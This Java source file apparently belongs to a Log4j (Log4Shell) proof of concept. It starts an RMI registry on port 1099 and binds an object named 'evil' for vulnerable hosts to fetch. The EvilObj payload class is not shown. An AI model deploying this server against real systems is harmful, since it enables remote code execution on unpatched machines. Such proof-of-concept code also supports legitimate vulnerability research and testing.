package com.cjx.myself.poc.log4j;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {

    public static void main(String[] args) {

        try {
            EvilObjService objService = new EvilObj();
            Registry registry = LocateRegistry.createRegistry(1099);
            registry.rebind("evil", objService);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
